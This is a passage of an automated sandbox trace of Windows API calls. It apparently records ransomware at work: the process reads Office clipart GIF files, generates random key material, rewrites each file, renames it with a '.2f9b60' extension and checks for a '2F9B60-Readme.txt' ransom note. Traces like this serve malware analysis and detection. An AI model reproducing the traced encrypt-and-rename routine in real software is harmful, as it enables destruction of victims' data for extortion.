lpNumberOfBytesWritten=0x3ad9f6b4*=0x996, lpOverlapped=0x0) returned 1 [0122.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea40 [0122.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea70 [0122.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ea70) returned 1 [0122.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0122.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0122.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0122.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0122.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050ea70 [0122.753] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.753] WriteFile (in: hFile=0x10e0, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ad9f7d0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3ad9f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0122.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d960) returned 1 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d930 [0122.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d930) returned 1 [0122.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.987] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="b5") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="54") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="dd") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="2f") returned 2 [0122.987] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="4d") returned 2 [0122.987] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="a7") returned 2 [0122.987] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="4a") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="63") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="2f") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="da") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="e7") returned 2 [0122.987] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="08") returned 2 [0122.987] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="19") returned 2 [0122.987] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="92") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="06") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="2b") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="6a") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="47") returned 2 [0122.987] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="dd") returned 2 [0122.987] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="e5") returned 2 [0122.987] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="2e") returned 2 [0122.987] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="33") returned 2 [0122.987] RtlInitAnsiString (in: DestinationString=0x3ad9f848, SourceString="b554ddb42f4da74aba632fdae7081992062b6a47dde52e33" | out: DestinationString="b554ddb42f4da74aba632fdae7081992062b6a47dde52e33") [0122.987] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ad9f818, SourceString="b554ddb42f4da74aba632fdae7081992062b6a47dde52e33", AllocateDestinationString=1 | out: DestinationString="b554ddb42f4da74aba632fdae7081992062b6a47dde52e33") returned 0x0 [0122.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0122.988] wcscat (in: _Dest=0x1cd64fd0, _Source="b554ddb42f4d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d" [0122.988] wcscat (in: _Dest=0x1cd64fd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d.2f9b60" [0122.988] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d.2f9b60", NtPathName=0x3ad9f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b554ddb42f4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119a60 [0123.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119a60) returned 1 [0123.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece180) returned 1 [0123.231] NtQueryInformationFile (in: FileHandle=0x10e0, IoStatusBlock=0x3ad9f858, FileInformation=0x3ad9f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ad9f858, FileInformation=0x3ad9f868) returned 0x0 [0123.231] NtSetInformationFile (FileHandle=0x10e0, IoStatusBlock=0x3ad9f858, FileInformation=0x3ad9f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64fd0) returned 1 [0123.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0123.261] FlushFileBuffers (hFile=0x10e0) returned 1 [0123.266] CloseHandle (hObject=0x10e0) returned 1 [0123.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0123.288] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.288] wcscat (in: _Dest=0x202ad3f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0123.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862f60) returned 1 Thread: id = 1288 os_tid = 0xef4 [0116.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif")) returned 0x20 [0120.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", dwFileAttributes=0x20) returned 1 [0120.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1100 [0120.623] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x3a27fc00 | out: lpFileSize=0x3a27fc00*=765) returned 1 [0120.623] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x2f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.623] ReadFile (in: hFile=0x1100, lpBuffer=0x3a27fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a27fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a27fb80*, lpNumberOfBytesRead=0x3a27fbc8*=0x4, lpOverlapped=0x0) returned 1 [0121.137] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0121.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0121.137] NtQuerySystemTime (in: CurrentTime=0x3a27fac0 | out: CurrentTime=0x3a27fac0*=132462177265390000) returned 0x0 [0121.137] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x4957e9b2 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x43cd8475 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x32ceef86 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x85cb0bf [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x5bdf1f6c [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x446395d [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x4a749512 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x14fb7703 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x56abafa9 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x59d3e6d8 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x53b3cc7c [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x255bc728 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x609b6b01 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x65fdd864 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x4ff593b0 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x164b23fe [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x2c4d75fa [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x5132697b [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x71642d3e [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x1a5e74ec [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x53adb6a4 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x67fdfb31 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x763d761 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x8bdad79 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x7ae561cb [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x72c20598 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x4c05cd55 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x583da6a0 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x506a877d [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x17dcb1be [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x677b26b3 [0121.138] RtlRandomEx (in: Seed=0x3a27fab0 | out: Seed=0x3a27fab0) returned 0x351279a4 [0121.155] ReadFile (in: hFile=0x1100, lpBuffer=0x41c500b0, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x3a27fab0, lpOverlapped=0x0 | out: lpBuffer=0x41c500b0*, lpNumberOfBytesRead=0x3a27fab0*=0x2fd, lpOverlapped=0x0) returned 1 [0121.155] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.155] WriteFile (in: hFile=0x1100, lpBuffer=0x41c53cc0*, nNumberOfBytesToWrite=0x2fd, lpNumberOfBytesWritten=0x3a27fab4, lpOverlapped=0x0 | out: lpBuffer=0x41c53cc0*, lpNumberOfBytesWritten=0x3a27fab4*=0x2fd, lpOverlapped=0x0) returned 1 [0122.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8c0 [0122.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8f0 [0122.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e8f0) returned 1 [0122.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c53cc0) returned 1 [0122.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c500b0) returned 1 [0122.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0122.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0122.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e8f0 [0122.749] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.749] WriteFile (in: hFile=0x1100, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a27fbd0, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x3a27fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0122.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0122.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7dd0) returned 1 [0122.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0122.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0122.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0122.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.980] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="a6") returned 2 [0122.980] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="b3") returned 2 [0122.980] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="5e") returned 2 [0122.980] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="66") returned 2 [0122.980] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="04") returned 2 [0122.980] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="b3") returned 2 [0122.980] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="5c") returned 2 [0122.981] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="b2") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="ea") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="8e") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="2d") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="76") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="55") returned 2 [0122.981] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.981] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="26") returned 2 [0122.981] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="10") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="25") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="02") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.981] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="3f") returned 2 [0122.981] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.981] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="18") returned 2 [0122.981] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="49") returned 2 [0122.981] RtlInitAnsiString (in: DestinationString=0x3a27fc48, SourceString="a6b35e6604b35cb2ea8e2d7655ce26a4102502d43f8f1849" | out: DestinationString="a6b35e6604b35cb2ea8e2d7655ce26a4102502d43f8f1849") [0122.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a27fc18, SourceString="a6b35e6604b35cb2ea8e2d7655ce26a4102502d43f8f1849", AllocateDestinationString=1 | out: DestinationString="a6b35e6604b35cb2ea8e2d7655ce26a4102502d43f8f1849") returned 0x0 [0122.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0122.981] wcscat (in: _Dest=0x1cd65810, _Source="a6b35e6604b3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3" [0122.982] wcscat (in: _Dest=0x1cd65810, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3.2f9b60" [0122.982] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3.2f9b60", NtPathName=0x3a27fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\a6b35e6604b3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119990 [0123.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119990) returned 1 [0123.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0123.216] NtQueryInformationFile (in: FileHandle=0x1100, IoStatusBlock=0x3a27fc58, FileInformation=0x3a27fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a27fc58, FileInformation=0x3a27fc68) returned 0x0 [0123.216] NtSetInformationFile (FileHandle=0x1100, IoStatusBlock=0x3a27fc58, FileInformation=0x3a27fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65810) returned 1 [0123.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0123.234] FlushFileBuffers (hFile=0x1100) returned 1 [0123.243] CloseHandle (hObject=0x1100) returned 1 [0123.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65340 [0123.271] wcscpy (in: _Dest=0x1cd65340, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.271] wcscat (in: _Dest=0x1cd65340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65340) returned 1 [0123.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862eb0) returned 1 Thread: id = 1289 os_tid = 0xef0 [0116.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif")) returned 0x20 [0120.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", dwFileAttributes=0x20) returned 1 [0120.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1104 [0120.621] GetFileSizeEx (in: hFile=0x1104, lpFileSize=0x3ac2fb60 | out: lpFileSize=0x3ac2fb60*=1302) returned 1 [0120.621] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x512, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.621] ReadFile (in: hFile=0x1104, lpBuffer=0x3ac2fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ac2fb28, lpOverlapped=0x0 | out: lpBuffer=0x3ac2fae0*, lpNumberOfBytesRead=0x3ac2fb28*=0x4, lpOverlapped=0x0) returned 1 [0121.219] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0121.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0121.219] NtQuerySystemTime (in: CurrentTime=0x3ac2fa20 | out: CurrentTime=0x3ac2fa20*=132462177266170000) returned 0x0 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x61e19775 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x54333b0a [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x74bb3c57 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x78673d75 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x3a6aea3f [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x136b979 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x7fe7cc08 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x38227c38 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x615e3f5f [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1c9cbf4f [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x14368125 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x204f64c0 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x161e660a [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x5a57f352 [0121.219] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x942c123 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x5e8ab460 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x647b874d [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x7f8b9f38 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x942c123 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x5828d8be [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x78e4e66d [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0xf705103 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1157ba68 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: 